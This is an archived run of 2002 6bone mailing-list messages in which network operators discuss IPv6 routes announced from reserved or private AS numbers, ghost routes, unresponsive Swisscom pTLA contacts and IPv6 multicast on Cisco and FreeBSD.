     2001:768:e:2::1(fe80::2d0:79ff:fee2:7800)
*  3ffe:400f::/32                                              0 8277
8379 8379 6435 6342 45333 i
     3ffe:8100:200:1fff::1
------>8


From 6bone@megabot.nl Mon Dec  2 13:15:11 2002
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From: Mendel Mobach <6bone@megabot.nl>
Organization: Megabot Solutions for Networks
To: <6bone@ISI.EDU>
Subject: Re: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
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On Monday 02 December 2002 21:18, Jeroen Massar wrote:
> Ofcourse Compendium-AR are also using a reserved AS but
> that is a 'known' odd one out and is documented in the 6bone db.

There is more:

What about:
  inet6num:     3FFE:4011::/32
  netname:      EURO6IX
  ipv6-site:    EURO6IX
  origin:       AS65504

not a very old site I guess...

-- 
Mendel Mobach aka BugBlue - mendel@mobach.nl - laime@megabot.nl
ICQ: 40200278 - IRC: BugBlue (ircnet:#ne2000 opn:#linux.nl)
 10:12pm  up 22:41,  5 users,  load average: 0.69, 0.40, 0.31


From nicolas.deffayet@ndsoftware.net Mon Dec  2 14:09:46 2002
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Subject: Re: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On Mon, 2002-12-02 at 22:14, Mendel Mobach wrote:
> On Monday 02 December 2002 21:18, Jeroen Massar wrote:
> > Ofcourse Compendium-AR are also using a reserved AS but
> > that is a 'known' odd one out and is documented in the 6bone db.
> 
> There is more:
> 
> What about:
>   inet6num:     3FFE:4011::/32
>   netname:      EURO6IX
>   ipv6-site:    EURO6IX
>   origin:       AS65504
> 
> not a very old site I guess...

See archives (2002-08) for more information about EURO6IX pTLA.

BGP routing table entry for 3ffe:4011::/32
Paths: (1 available, best #1, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  2001:7a8:1:f004::1 3ffe:4013:0:1::2 3ffe:4013:f:4::2 3ffe:4013:f:7::2
3ffe:4013:f:12::2 3ffe:4013:f:18::2 3ffe:4013:f:1b::2 3ffe:4013:f:1e::2
3ffe:4013:f:21::2 3ffe:4013:f:25::2 3ffe:4013:f:29::2 3ffe:4013:f:2b::2
3ffe:4013:f:30::2
  1752
    2001:7f8:2:c01d::2 from 2001:7f8:2:c01d::2 (213.121.24.91)
    (fe80::d579:185b)
      Origin IGP, metric 2200, localpref 100, valid, external, best
      Community: 25358:300 25358:360 25358:410 25358:900 25358:1000
25358:3000
      Last update: Sun Dec  1 22:35:09 2002

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From jeroen@unfix.org Mon Dec  2 14:14:39 2002
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To: "'Mendel Mobach'" <6bone@megabot.nl>, <6bone@ISI.EDU>
Subject: RE: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
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Mendel Mobach wrote:

> On Monday 02 December 2002 21:18, Jeroen Massar wrote:
> > Ofcourse Compendium-AR are also using a reserved AS but
> > that is a 'known' odd one out and is documented in the 6bone db.
> 
> There is more:
> 
> What about:
>   inet6num:     3FFE:4011::/32
>   netname:      EURO6IX
>   ipv6-site:    EURO6IX
>   origin:       AS65504
> 
> not a very old site I guess...

That's also a 'known' abuser of reserved AS space for a TLA.

Greets,
 Jeroen


From nicolas.deffayet@ndsoftware.net Mon Dec  2 14:22:26 2002
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Subject: Re: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
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On Mon, 2002-12-02 at 21:18, Jeroen Massar wrote:
> While snooping around I found the following:
> 
> *  3ffe:400f::/32                                              0 13110
> 6939 6939 6435 6342 45333 i
>      2001:6e0:0:113::2(fe80::3e15:6206)
> *  3ffe:400f::/32                               10             0 12859
> 3265 3549 6175 6435 6342 45333 i
>      2001:7f8:1::a501:2859:1(fe80::202:4aff:fe8a:a000)
> ------->8
> 
> See below for more paths.
> 
> 8<--------
> ipv6-site:    UACH
> origin:       AS11340
> descr:        Universidad Austral de Chile(ASN from REUNA)
>               Instituto de Informatica
> country:      CL
> prefix:       3FFE:400F::/32
> -------->8


UACH has NEVER respect RFC2772.

http://mailman.isi.edu/pipermail/6bone/2002-July/005719.html

1.b (Fully maintained, and reliable, BGP4+ peering and connectivity...):
empty

2.a (A support staff of two persons minimum, three preferable...):
empty, only one person in whois (CLR1-6BONE)


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From nicolas.deffayet@ndsoftware.net Mon Dec  2 14:44:26 2002
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Subject: RE: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Mendel Mobach'" <6bone@megabot.nl>, 6bone@ISI.EDU
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On Mon, 2002-12-02 at 23:15, Jeroen Massar wrote:
> Mendel Mobach wrote:
> 
> > On Monday 02 December 2002 21:18, Jeroen Massar wrote:
> > > Ofcourse Compendium-AR are also using a reserved AS but
> > > that is a 'known' odd one out and is documented in the 6bone db.
> > 
> > There is more:
> > 
> > What about:
> >   inet6num:     3FFE:4011::/32
> >   netname:      EURO6IX
> >   ipv6-site:    EURO6IX
> >   origin:       AS65504
> > 
> > not a very old site I guess...
> 
> That's also a 'known' abuser of reserved AS space for a TLA.

AS65504 is a private ASN, not a reserved ASN !
Use of private ASN is more honest.

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From jeroen@unfix.org Mon Dec  2 14:48:19 2002
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To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>
Cc: "'Mendel Mobach'" <6bone@megabot.nl>, <6bone@ISI.EDU>
Subject: RE: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
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Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:

> On Mon, 2002-12-02 at 23:15, Jeroen Massar wrote:
> > Mendel Mobach wrote:
> > 
> > > On Monday 02 December 2002 21:18, Jeroen Massar wrote:
> > > > Ofcourse Compendium-AR are also using a reserved AS but
> > > > that is a 'known' odd one out and is documented in the 6bone db.
> > > 
> > > There is more:
> > > 
> > > What about:
> > >   inet6num:     3FFE:4011::/32
> > >   netname:      EURO6IX
> > >   ipv6-site:    EURO6IX
> > >   origin:       AS65504
> > > 
> > > not a very old site I guess...
> > 
> > That's also a 'known' abuser of reserved AS space for a TLA.
> 
> AS65504 is a private ASN, not a reserved ASN !
> Use of private ASN is more honest.

It should NOT exist in the DFZ.
Quite easy.

And as I said.. some certain sites that say they filter private &
reserved ASN's
apparently don't do so <hint> ;)

Greets,
 Jeroen


From 6bone@megabot.nl Mon Dec  2 15:23:29 2002
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From: Mendel Mobach <6bone@megabot.nl>
Organization: Megabot Solutions for Networks
To: 6bone@ISI.EDU
Subject: Re: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
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On Monday 02 December 2002 23:45, Nicolas DEFFAYET wrote:
[..]
> > > There is more:
> > >
> > > What about:
> > >   inet6num:     3FFE:4011::/32
> > >   netname:      EURO6IX
> > >   ipv6-site:    EURO6IX
> > >   origin:       AS65504
> > >
> > > not a very old site I guess...
> >
> > That's also a 'known' abuser of reserved AS space for a TLA.
>
> AS65504 is a private ASN, not a reserved ASN !
> Use of private ASN is more honest.

Of course it is not. I could barf your local setups, tests and more. 
Also: Some nice documents on filtering learned me to filter (I object, but 
that has another reason) on prefix size and filter out (at least: do not send 
to peers) private AS numbers.

Kind Regards,

Mendel Mobach
-- 
Mendel Mobach aka BugBlue - mendel@mobach.nl - laime@megabot.nl
ICQ: 40200278 - IRC: BugBlue (ircnet:#ne2000 opn:#linux.nl)
 12:19am  up 1 day, 48 min,  6 users,  load average: 2.16, 1.55, 1.12


From daniel@unix.za.net Mon Dec  2 23:32:43 2002
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From: Daniel Schroder <daniel@unix.za.net>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] ipv6 multicast
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  How would  ff02::9 routes get propogated
  on Cisco routers then , if it does
  not support multicast. I know thats not the
  only way to distribute routes  , but I thought
  that was a feature of Ipv6 .. all nodes bieng
  multicast enabled ?

--Daniel Schroder (SysAdmin)
  Unix users .. South Africa

On Mon, 2 Dec 2002, Harold de Dios Tovar wrote:

> Hi Lo, I supose that you know that actullay Cisco is not implementing IPv6
> multicast but we hope that Cisco people delivered the IOS with multicast
> support the next year 2003.
>
> But you can implement multicast using a freeBSD host to router multicast
> ipv6 the tools are very stable.
>
>
> ** Texto sin acentos
>
> ---------------------------------
>  N.O.C & IPv6 staff working Group
> ------------------------------------
>    Harold de Dios, harold@noc.udg.mx
>    UdeG, Network Operation Center
>    Work: 011(52)3331342232 ext.2220
>    ---------------------------------
>
>
> On Mon, 2 Dec 2002, Lo Galbo Emanuele wrote:
>
> > Hi;
> > I am settig up an ipv6 multicast network in my lab.I have two cisco routers(3600,7200) and i thought to use freeBsd and Kame patch for the implementation.
> > What do you thik about?
> > Could you suggest me anything about?
> > Could i implement it in a differt way?
> >
> >
> >
> >
> > ====================================================================
> > CONFIDENTIALITY NOTICE
> > This message and its attachments are addressed solely to the persons
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> > ====================================================================
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> >
>
> _______________________________________________
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> http://mailman.isi.edu/mailman/listinfo/6bone
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From matsuoka@syce.net Mon Dec  2 23:40:33 2002
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Hi, Jeroen, all,

>- 3ffe:1e00::/24
>ipv6-site:    SWISSCOM
>origin:       AS3303
>descr:        Swisscom Innovations
>
>No netname available apparently. But it is currently announced by:
>source: APNIC
>aut-num: AS4697
>as-name: NTTV6NET
>descr: NTT Software Laboratories
>
>I have already contacted these people seperatly, no response as yet.
>Nothing in their 6bone object seems reachable.

We -NTTv6net- have just relayed to transit routes of 3ffe:1e00::/24 at 
points in time,
and there have no longer existed any route in NTTv6net about 3ffe:1e00::/24.
I think somewhere-else might advertise old and wrong information.

And, let me know which address did you send e-mails to,
query@nttv6.net or noc@nttv6.net can deliver your message to each of operator,
but I haven't.

Regards,
Hirotaka MATSUOKA 


From cesar.olvera@consulintel.es Tue Dec  3 00:45:01 2002
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References: <000301c29a55$02851910$210d640a@unfix.org>
Subject: Re: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
Date: Tue, 3 Dec 2002 09:50:09 +0100
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Hi All,



Apologizes for the inconvenient using a private ASN, we are working

toward get an ASN from RIPE. We hope solve this issue ASAP.



Regards,



César Olvera

Euro6IX pTLA Manager





----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>
Cc: "'Mendel Mobach'" <6bone@megabot.nl>; <6bone@ISI.EDU>
Sent: Monday, December 02, 2002 11:49 PM
Subject: RE: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32


> Nicolas DEFFAYET [mailto:nicolas.deffayet@ndsoftware.net] wrote:
>
> > On Mon, 2002-12-02 at 23:15, Jeroen Massar wrote:
> > > Mendel Mobach wrote:
> > >
> > > > On Monday 02 December 2002 21:18, Jeroen Massar wrote:
> > > > > Ofcourse Compendium-AR are also using a reserved AS but
> > > > > that is a 'known' odd one out and is documented in the 6bone db.
> > > >
> > > > There is more:
> > > >
> > > > What about:
> > > >   inet6num:     3FFE:4011::/32
> > > >   netname:      EURO6IX
> > > >   ipv6-site:    EURO6IX
> > > >   origin:       AS65504
> > > >
> > > > not a very old site I guess...
> > >
> > > That's also a 'known' abuser of reserved AS space for a TLA.
> >
> > AS65504 is a private ASN, not a reserved ASN !
> > Use of private ASN is more honest.
>
> It should NOT exist in the DFZ.
> Quite easy.
>
> And as I said.. some certain sites that say they filter private &
> reserved ASN's
> apparently don't do so <hint> ;)
>
> Greets,
>  Jeroen
>


***********************************
Madrid 2003 Global IPv6 Summit
12-14 May 2003 - Soon on line at:
http://www.ipv6-es.com
Interested in participating or sponsoring ?
Contact us at ipv6@consulintel.es



From gert@Space.Net Tue Dec  3 00:48:22 2002
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From: Gert Doering <gert@space.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: Jeroen Massar <jeroen@unfix.org>, "'Mendel Mobach'" <6bone@megabot.nl>,
   6bone@ISI.EDU
Subject: Re: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
Message-ID: <20021203094818.M15927@Space.Net>
References: <000101c29a50$4c9660e0$210d640a@unfix.org> <1038869154.6369.228.camel@wks1.fr.corp.ndsoftware.com>
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Hi,

On Mon, Dec 02, 2002 at 11:45:54PM +0100, Nicolas DEFFAYET wrote:
> AS65504 is a private ASN, not a reserved ASN !
> Use of private ASN is more honest.

Neither private nor reserved ASN should be visible globally.

*Ever*.

Also it's bad practice to generate AS announcements from a private ASN
that is then stripped by the upstreams with "remove-private-as", because
it creates inconsistent AS paths, and it's hard to troubleshoot who
is actually behind it if something breaks.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  54136  (50279)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tjc@ecs.soton.ac.uk Tue Dec  3 02:45:54 2002
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Date: Tue, 3 Dec 2002 10:45:34 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Harold de Dios Tovar <dios-vol@telecom.noc.udg.mx>
Cc: Lo Galbo Emanuele <Emanuele.Logalbo@TILAB.COM>, 6bone@mailman.isi.edu
Subject: Re: [6bone] ipv6 multicast
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References: <9620749A0C40FB49B72994B11B077C5DD25EEA@EXC2K01A.cselt.it> <Pine.SUN.4.10.10212021100570.16122-100000@telecom.noc.udg.mx>
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There is an IOS PIM-SM image for IPv6.  We've been running it for a while
and have gien feedback.  A new EFT update is due soon.   This is not for
GSR family yet though.  This is on the 6NET project (www.6net.org) and the
m6bone (www.m6bone.net).   We also use FreeBSD and are looking at 6WIND
and Hitachi implementations.

Tim

On Mon, Dec 02, 2002 at 11:05:00AM -0600, Harold de Dios Tovar wrote:
> Hi Lo, I supose that you know that actullay Cisco is not implementing IPv6
> multicast but we hope that Cisco people delivered the IOS with multicast
> support the next year 2003.
> 
> But you can implement multicast using a freeBSD host to router multicast
> ipv6 the tools are very stable.
> 
> 
> ** Texto sin acentos
>         
> ---------------------------------       
>  N.O.C & IPv6 staff working Group
> ------------------------------------
>    Harold de Dios, harold@noc.udg.mx 
>    UdeG, Network Operation Center  
>    Work: 011(52)3331342232 ext.2220 
>    ---------------------------------
> 
> 
> On Mon, 2 Dec 2002, Lo Galbo Emanuele wrote:
> 
> > Hi;
> > I am settig up an ipv6 multicast network in my lab.I have two cisco routers(3600,7200) and i thought to use freeBsd and Kame patch for the implementation.
> > What do you thik about?
> > Could you suggest me anything about?
> > Could i implement it in a differt way?
> >  
> > 
> > 
> > 
> > ====================================================================
> > CONFIDENTIALITY NOTICE
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> > 
> 
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From HahnC@t-systems.com Tue Dec  3 04:27:57 2002
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From: "Hahn, Ch" <HahnC@t-systems.com>
To: jeroen@unfix.org
Cc: 6bone@ISI.EDU, ipv6-support@berkom.de, ipv6-support@verat.net
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Hi Jeron,

> -----Ursprungliche Nachricht-----
> Von: Jeroen Massar [mailto:jeroen@unfix.org]
> Gesendet: Sonntag, 1. Dezember 2002 17:35
> An: v6ops@ops.ietf.org; 6bone@ISI.EDU
> Cc: dnofal@CVTCI.COM.AR; radovic@net.yu; stana@verat.net; 
> awl@verat.net;
> wlf@verat.net; noc@noc.dfn.de; kukl@tbit.dk; hha@tbit.dk;
> Anders.Bandholm@uni-c.dk; Ole.Kjaergaard@uni-c.dk
> Betreff: Ghost Route Hunter
> 
-------------------8<---------------------------------------
> 
> Currently there are still 4 big ghost routes floating around:
> - 3ffe:100::/24
> netname:      TELEBIT
> descr:        pTLA delegation for the 6bone
> Which dropped of the internet around tuesday when looking at 
> the latency
> graphs*.
> ipv6telebit.tbit.dk is unreachable over IPv4. The graphs also 
> show that
> it was
> only reachable from two out six sites.

Have this route in table.

> 
> - 3ffe:1400::/24
> netname:      UNI-C
> descr:        pTLA delegation for the 6bone
> remarks:      ***************************************
> remarks:      * * * *  no longer operational  * * * *
> remarks:      ***************************************
> 
> But still visible and ghosted and not officially retracted!
> 
> Last changed line:
> changed:      Anders.Bandholm@uni-c.dk 20010420
> 
> This would mean that the route would have been gone for over 
> a year and
> a half!
> This route is currently announced by VERAT and Deutsche 
> Telekom though.

From my point of view it looks a little bit different. I see this route in my table via two paths with a number of >25 ASes in path and still incomplete. Last AS before incompletness in both cases is 15982 (VERAT). We have a peering with VERAT but don't receiving this route from them. Instead we announing the route to them.
I've checked the FUBAR, STBEN-BE looking glass and saw the route with our AS appended. Currently I have no idea how and where in the path our AS# is appended, but I'm shure that we are not originating this route. 

At first step I will filter this route and then lets see if it will vanish or change its path.

> 
> - 3ffe:1e00::/24
> ipv6-site:    SWISSCOM
> origin:       AS3303
> descr:        Swisscom Innovations
> 
> No netname available apparently. But it is currently announced by:
> source: APNIC  
> aut-num: AS4697  
> as-name: NTTV6NET  
> descr: NTT Software Laboratories  
> 
> I have already contacted these people seperatly, no response as yet.
> Nothing in their 6bone object seems reachable.

The routing entry looks similar to the one above. Long AS path and still incomplete.

> 
> - 3ffe:8010::/28
> ipv6-site:    ICM-PL
> origin:       AS8664
> descr:        Interdisciplinary Centre for Mathematical and
> Computational Modelling
>               Warsaw University, Poland
> 
> Origin is currently ICM-PL and ICP-AS.
> 6bone-gw.6bone.pl is unreachable over IPv4 and IPv6

Have this route in table, seams still ok at this point. 6bone-gw.6bone.pl is reachable via IPv4.

cheers,
	Christian

<><><><><><><><><><><><><><><><><><>
Christian Hahn

T-Systems
Systems Integration

T-Systems Nova GmbH
Berkom
IP-Technologies

Goslarer Ufer 35, 10589 Berlin

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From jeroen@unfix.org Tue Dec  3 05:07:50 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Hahn, Ch'" <HahnC@t-systems.com>
Cc: <6bone@ISI.EDU>, <v6ops@ops.ietf.org>, <ipv6-support@berkom.de>,
   <ipv6-support@verat.net>, <prim_a@vptt.ch>, <gisiger@vptt.ch>,
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Hahn, Ch [mailto:HahnC@t-systems.com] wrote:
> 
> Hi Jeron,

s/Jeron/Jeroen/ :)

> > -----Ursprungliche Nachricht-----
> > Von: Jeroen Massar [mailto:jeroen@unfix.org]

> Have this route in table.

Quote from other reply:

8<------------
3ffe:100::/24 now only has a short path to 3263 (TELEBIT-DK).
Which was last seen at 2002-12-02 08:40.

3ffe:8010::/28 now only has a short path to 8664 (ICM-PL).
Which was last seen at 2002-12-02 15:10.
------------->8

In the mean time there have been a couple of odd ones popping in and
out, from the current report (2002-12-03 13:50)
8<-----------
The following routes are currently ghosted and thus are not reachable
from many places on the internet.
- 2001:270::/35 - 1 ghosted paths 
- 3ffe:1400::/24 - 24 ghosted paths 
- 3ffe:1e00::/24 - 10 ghosted paths 
- 3ffe:400c::/32 - 1 ghosted paths 
- 3ffe:400d::/32 - 15 ghosted paths 
----------->8

> > - 3ffe:1400::/24
> > netname:      UNI-C
> > descr:        pTLA delegation for the 6bone
> > remarks:      ***************************************
> > remarks:      * * * *  no longer operational  * * * *
> > remarks:      ***************************************
> > 
> > But still visible and ghosted and not officially retracted!
> > 
> > Last changed line:
> > changed:      Anders.Bandholm@uni-c.dk 20010420
> > 
> > This would mean that the route would have been gone for over 
> > a year and
> > a half!
> > This route is currently announced by VERAT and Deutsche 
> > Telekom though.
> 
> From my point of view it looks a little bit different. I see 
> this route in my table via two paths with a number of >25 
> ASes in path and still incomplete. Last AS before 
> incompletness in both cases is 15982 (VERAT). We have a 
> peering with VERAT but don't receiving this route from them. 
> Instead we announing the route to them.
> I've checked the FUBAR, STBEN-BE looking glass and saw the 
> route with our AS appended. Currently I have no idea how and 
> where in the path our AS# is appended, but I'm shure that we 
> are not originating this route. 
> 
> At first step I will filter this route and then lets see if 
> it will vanish or change its path.

3ffe:1400::/24 has 24 ghosted paths. We are thinking that there
is an implemention being used somewhere that has a maximum number
of ASn's per path which is now 'shortcutting' the ASpath which
leaves VERAT at the front. The VERAT router is now included in the
report and it doesn't have the route itself. Which clears them from
blame ;)

> > - 3ffe:1e00::/24
> > ipv6-site:    SWISSCOM
> > origin:       AS3303
> > descr:        Swisscom Innovations
> > 
> > No netname available apparently. But it is currently announced by:
> > source: APNIC  
> > aut-num: AS4697  
> > as-name: NTTV6NET  
> > descr: NTT Software Laboratories  
> > 
> > I have already contacted these people seperatly, no response as yet.
> > Nothing in their 6bone object seems reachable.
> 
> The routing entry looks similar to the one above. Long AS 
> path and still incomplete.

They haven't replied yet either. Going for the CC again.
Would the owners of this pTLA please speak up ?

> > - 3ffe:8010::/28
> > ipv6-site:    ICM-PL
> > origin:       AS8664
> > descr:        Interdisciplinary Centre for Mathematical and
> > Computational Modelling
> >               Warsaw University, Poland
> > 
> > Origin is currently ICM-PL and ICP-AS.
> > 6bone-gw.6bone.pl is unreachable over IPv4 and IPv6
> 
> Have this route in table, seams still ok at this point. 
> 6bone-gw.6bone.pl is reachable via IPv4.

See at the top.
Apparently those where resurrected and the ghosts
went away, fortunatly (for them ;)

GReets,
 Jeroen


From jeroen@unfix.org Tue Dec  3 05:34:22 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <6bone@ISI.EDU>, <v6ops@ops.ietf.org>, <prim_a@vptt.ch>,
   <martin.gysi@swisscom.com>, <michael.schaedler@swisscom.com>,
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Subject: [6bone] SWISSCOM / AS3303 / 3ffe:1e00::/24 - Is there anyone alive?
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As I just got a nice bounce back:

<gisiger@vptt.ch>: host ns2.vptt.ch[193.5.238.14] said: 550
<gisiger@vptt.ch>: User unknown

8<-------------------
ipv6-site:    SWISSCOM
origin:       AS3303
descr:        Swisscom Innovations
              Ostermundigenstr. 93
              3050 Bern
              Switzerland
country:      CH
prefix:       3FFE:1E00::/24
application:  ping gdvipv6.ctlabs.ch
------------------->8
gdvipv6.ctlabs.ch AAAA record not found, server failure
gdvipv6.ctlabs.ch A record not found, server failure

8<-------------------
application:  ping aldebaran6.ctlabs.ch
------------------->8
8<-------------------
application:  ping deneb6.ctlabs.ch
------------------->8
deneb6.ctlabs.ch AAAA record not found, server failure
deneb6.ctlabs.ch A record not found, server failure

Thus these shouldn't work either:
8<-------------------
tunnel:       IPv6 in IPv4 gdvipv6.ctlabs.ch -> router2-0.att.ch
ATT-LABS-EUROPE BGP4+
tunnel:       IPv6 in IPv4 gdvipv6.ctlabs.ch ->
vboipv6rtr.europe.digital.com DIGITAL-ETC BGP4+
------------------->8

8<-------------------
contact:      HP1-6BONE
contact:      AF1-6BONE
contact:      AP148-RIPE
------------------->8

8<--------------
$ whois HP1-6BONE

% RIPEdb(3.0.0b2) with ISI RPSL extensions

% No entries found in 6BONE database.

$ whois AF1-6BONE
% RIPEdb(3.0.0b2) with ISI RPSL extensions

person:       Alberto Ferrer
address:      Pasaje Chacabuco 1147
address:      Comodoro Rivadavia
address:      Chubut
address:      Argentina
phone:        +54 297 155940460
e-mail:       yoco22@hotmail.com

$ whois AP148-RIPE
person:       Andre Prim
address:      Swiss PTT
address:      Research & Development
address:      Technical Center
address:      CH-3000 Bern 29
address:      Switzerland
phone:        +41 31 338 3437
fax-no:       +41 31 338 5747
e-mail:       prim_a@vptt.ch
-------------->8

Only one on-site person, of which the mail doesn't bounce.
But is this person alive and willing to do something about this?

There is also a second object:
8<---------------
ipv6-site:    SWISS-TELECOM
origin:       AS3303
descr:        Corporate Technology
              Ostermundigenstr. 93
              3029 Bern
              Switzerland
country:      CH
prefix:       3FFE:1E00::/24
application:  ping gdvipv6.ctv6.vptt.ch
application:  ping aldebaran6.ctv6.vptt.ch
application:  ping deneb6.vptt.ch
tunnel:       IPv6 in IPv4 gdvipv6.ctv6.vptt.ch -> router2-0.att.ch
ATT-LABS-EUROPE BGP4+
contact:      HP1-6BONE
contact:      AF1-6BONE
contact:      AP148-RIPE
-------------->8

Same persons, different tunnels.

helpdesk@ip-plus.net CC'd as they are they are for AS3303 'operational
issues'.

What is going to happen with this?

Greets,
 Jeroen


From bkhabs@nc.rr.com Tue Dec  3 06:01:05 2002
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FF02::9 is a link-local multicast address, so it does not get
propogated.

Daniel Schroder wrote:
> 
>   How would  ff02::9 routes get propogated
>   on Cisco routers then , if it does
>   not support multicast. I know thats not the
>   only way to distribute routes  , but I thought
>   that was a feature of Ipv6 .. all nodes bieng
>   multicast enabled ?
> 
> --Daniel Schroder (SysAdmin)
>   Unix users .. South Africa
> 
> On Mon, 2 Dec 2002, Harold de Dios Tovar wrote:
> 
> 
>>Hi Lo, I supose that you know that actullay Cisco is not implementing IPv6
>>multicast but we hope that Cisco people delivered the IOS with multicast
>>support the next year 2003.
>>
>>But you can implement multicast using a freeBSD host to router multicast
>>ipv6 the tools are very stable.
>>
>>
>>** Texto sin acentos
>>
>>---------------------------------
>> N.O.C & IPv6 staff working Group
>>------------------------------------
>>   Harold de Dios, harold@noc.udg.mx
>>   UdeG, Network Operation Center
>>   Work: 011(52)3331342232 ext.2220
>>   ---------------------------------
>>
>>
>>On Mon, 2 Dec 2002, Lo Galbo Emanuele wrote:
>>
>>
>>>Hi;
>>>I am settig up an ipv6 multicast network in my lab.I have two cisco routers(3600,7200) and i thought to use freeBsd and Kame patch for the implementation.
>>>What do you thik about?
>>>Could you suggest me anything about?
>>>Could i implement it in a differt way?
>>>
>>>
>>>
>>>
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> 
> 
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From jeroen@unfix.org Tue Dec  3 06:03:56 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <6bone@ISI.EDU>, <v6ops@ops.ietf.org>
Cc: <helpdesk@ip-plus.net>, <noc@ip-plus.net>
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Subject: [6bone] RE: SWISSCOM / AS3303 / 3ffe:1e00::/24 - Is there anyone alive?
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Jeroen Massar wrote:

> helpdesk@ip-plus.net CC'd as they are they are for AS3303 'operational
> issues'.

And what a great response you get:

> Thank you for your e-mail.
> Please indicate us what you were trying to do?
> Are you a customer of us?
> Did you try to reach a homepage?

noc@ip-plus.net CC'd... maybe they have a clue :)

So SWISSCOM NOC people do you know what IPv6 is and that you have a
6bone object?

Greets,
 Jeroen

8<-------------------------

As I just got a nice bounce back:

<gisiger@vptt.ch>: host ns2.vptt.ch[193.5.238.14] said: 550
<gisiger@vptt.ch>: User unknown

8<-------------------
ipv6-site:    SWISSCOM
origin:       AS3303
descr:        Swisscom Innovations
              Ostermundigenstr. 93
              3050 Bern
              Switzerland
country:      CH
prefix:       3FFE:1E00::/24
application:  ping gdvipv6.ctlabs.ch
------------------->8
gdvipv6.ctlabs.ch AAAA record not found, server failure
gdvipv6.ctlabs.ch A record not found, server failure

8<-------------------
application:  ping aldebaran6.ctlabs.ch
------------------->8
8<-------------------
application:  ping deneb6.ctlabs.ch
------------------->8
deneb6.ctlabs.ch AAAA record not found, server failure
deneb6.ctlabs.ch A record not found, server failure

Thus these shouldn't work either:
8<-------------------
tunnel:       IPv6 in IPv4 gdvipv6.ctlabs.ch -> router2-0.att.ch
ATT-LABS-EUROPE BGP4+
tunnel:       IPv6 in IPv4 gdvipv6.ctlabs.ch ->
vboipv6rtr.europe.digital.com DIGITAL-ETC BGP4+
------------------->8

8<-------------------
contact:      HP1-6BONE
contact:      AF1-6BONE
contact:      AP148-RIPE
------------------->8

8<--------------
$ whois HP1-6BONE

% RIPEdb(3.0.0b2) with ISI RPSL extensions

% No entries found in 6BONE database.

$ whois AF1-6BONE
% RIPEdb(3.0.0b2) with ISI RPSL extensions

person:       Alberto Ferrer
address:      Pasaje Chacabuco 1147
address:      Comodoro Rivadavia
address:      Chubut
address:      Argentina
phone:        +54 297 155940460
e-mail:       yoco22@hotmail.com

$ whois AP148-RIPE
person:       Andre Prim
address:      Swiss PTT
address:      Research & Development
address:      Technical Center
address:      CH-3000 Bern 29
address:      Switzerland
phone:        +41 31 338 3437
fax-no:       +41 31 338 5747
e-mail:       prim_a@vptt.ch
-------------->8

Only one on-site person, of which the mail doesn't bounce.
But is this person alive and willing to do something about this?

There is also a second object:
8<---------------
ipv6-site:    SWISS-TELECOM
origin:       AS3303
descr:        Corporate Technology
              Ostermundigenstr. 93
              3029 Bern
              Switzerland
country:      CH
prefix:       3FFE:1E00::/24
application:  ping gdvipv6.ctv6.vptt.ch
application:  ping aldebaran6.ctv6.vptt.ch
application:  ping deneb6.vptt.ch
tunnel:       IPv6 in IPv4 gdvipv6.ctv6.vptt.ch -> router2-0.att.ch
ATT-LABS-EUROPE BGP4+
contact:      HP1-6BONE
contact:      AF1-6BONE
contact:      AP148-RIPE
-------------->8

Same persons, different tunnels.

helpdesk@ip-plus.net CC'd as they are they are for AS3303 'operational
issues'.

What is going to happen with this?

Greets,
 Jeroen


From tjc@ecs.soton.ac.uk Tue Dec  3 06:11:08 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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Subject: Re: [6bone] AS45333 (<-- reserved!) announcing 3ffe:400f::/32
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Agreed.  And I have alerted Euro6IX people.

Tim

On Tue, Dec 03, 2002 at 09:48:18AM +0100, Gert Doering wrote:
> Hi,
> 
> On Mon, Dec 02, 2002 at 11:45:54PM +0100, Nicolas DEFFAYET wrote:
> > AS65504 is a private ASN, not a reserved ASN !
> > Use of private ASN is more honest.
> 
> Neither private nor reserved ASN should be visible globally.
> 
> *Ever*.
> 
> Also it's bad practice to generate AS announcements from a private ASN
> that is then stripped by the upstreams with "remove-private-as", because
> it creates inconsistent AS paths, and it's hard to troubleshoot who
> is actually behind it if something breaks.
> 
> Gert Doering
>         -- NetMaster
> -- 
> Total number of prefixes smaller than registry allocations:  54136  (50279)
> 
